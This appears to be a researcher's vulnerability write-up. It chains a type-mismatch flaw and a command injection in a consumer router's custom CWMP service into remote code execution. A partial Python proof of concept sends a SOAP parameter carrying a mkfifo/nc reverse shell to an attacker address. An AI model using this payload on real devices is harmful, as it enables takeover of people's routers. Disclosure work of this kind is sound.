Abusing custom CWMP XML parsing to achieve RCE
Introduction
In parallel with my main activity, I recently started a side project to look for vulnerabilities in a range of consumer routers. It turns out that while mapping the attack surface, I discovered a customized implementation of the CWMP (CPE WAN Management Protocol) protocol. In fact, unlike a standard implementation of the TR-069 stack, these devices had their own CWMP service in /usr/bin/cwmp with a shared library libcwmp.so.
It is very common that when implementing such a protocol, less conscientious vendors pay little or no attention to the security of their products. By following the trail of this protocol, I discovered a type mismatch vulnerability in the request parsing logic. Chained with a command injection, this vulnerability allows us to achieve Remote Code Execution on the device.
Attack Surface Mapping
Despite vulnerabilities that were rather easy to find, such as command injections in Lua (which were all patched with formatters like %q), the custom cwmp implementation was a much more interesting target, both from a technical point of view and from an attack-vector point of view.
/usr/bin/cwmp– the (stripped) binary implementing CWMPlibcwmp.so– a library loaded at runtime that receives the parameters of the parsed requests
By using cross-references, I noticed that the binary uses dlsym to call a function with the parameters extracted from the request.
1int __fastcall api_libcwmp(const char *func_name) {
2 if (!handle)
3 handle = dlopen("/usr/lib/libcwmp.so", 1);
4 if (!handle) return -1;
5 int (*func)(int, char *) = dlsym(handle, func_name);
6 if (dlerror()) return -1;
7 return func(v6, &req);
8}
Vulnerability 1: Type Mismatch in SetParameterValues
The SetParameterValues method parses our XML request and extracts the parameter name, the type of the value, and the value itself. The binary then makes sure that the parameter type matches that of the function in the library.
However, the logic of this check is flawed, because the function only compares the declared type with the type of the function and does not verify that the content actually matches the declared type.
1if (MethodType != reqType && (reqType != "u" || (MethodType & 0xFFFFFFEF) != "C")) {
2 log_error("param %s type mismatch\n", paramName);
3}
This allows an attacker, for example, to pass a string to a function that expects an unsignedInt or some other kind of value.
Vulnerability 2: Command Injection in QoS Function
The X_REDACTED_QoS_Upband function, which expects an unsignedInt, builds a command with the given value, and this command is then passed to the system function:
1sprintf(cmd, "/usr/bin/tr069/cwmp-qos 1 %s 0", req->buffer);
2system(cmd);
Although there is a buffer overflow through the use of sprintf, it was not possible to exploit this vulnerability because of the stack canary. However, the command injection itself is quite exploitable.
Since the parameter type was not strictly enforced, it is possible to inject a command by sending a request that specifies an unsignedInt type but still contains something other than the expected kind of value.
Exploitation Chain
The exploitation of the router therefore relies on chaining two vulnerabilities:
- Type Mismatch – Which allows us to bypass the type check in
SetParameterValues. - Command Injection – Injection of an arbitrary command via the QoS function.
By reimplementing a CWMP client, we can build a SOAP payload that declares the parameter as xsd:unsignedInt but that actually contains a command.
POC
Here is the full exploitation of these vulnerabilities:
1from pwn import *
2import argparse
3from web_client import WebClient
4
5def transform_header(header: dict) -> str:
6 [...]
7
8def generate_body(data: bytes):
9 [...]
10
11def send_http_response(code: int, header: dict, body: bytes, p):
12 [...]
13
14def generate_header(data):
15 [...]
16
17def informresponse(p):
18 [...]
19
20def close_conn(p):
21 [...]
22
23def set_config_value(name: str, data_type: str, value: bytes, p):
24 [...]
25
26def trigger_rce1(ip: str, port: int, p):
27 set_config_value(
28 "InternetGatewayDevice.X_REDACTED_QoS.Upband",
29 "unsignedInt",
30 b"`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|ash -i 2>&1|nc %b %i >/tmp/f &`"
31 % (ip.encode(), port),
32 p,
33 )
34
35cli = WebClient("192.168.10.1")
36cli.login("password")
37cli.set_cwmp_param("192.168.10.X:3333", "", "", 3333)
38cli.restart_cwmp()
39
40listener = listen(3333)
41p = listener.wait_for_connection()
42p.recvuntil(b"</SOAP-ENV:Envelope>\n")
43informresponse(p)
44p.clean()
45trigger_rce1("192.168.10.X", 1338, p)
46p.interactive()
47close_conn(p)
Conclusion
I was therefore able to chain a type mismatch vulnerability with a command injection to achieve an RCE on an entire range of routers. I have of course reported the vulnerability to the vendor (who doesn’t seem to think it’s important enough to patch).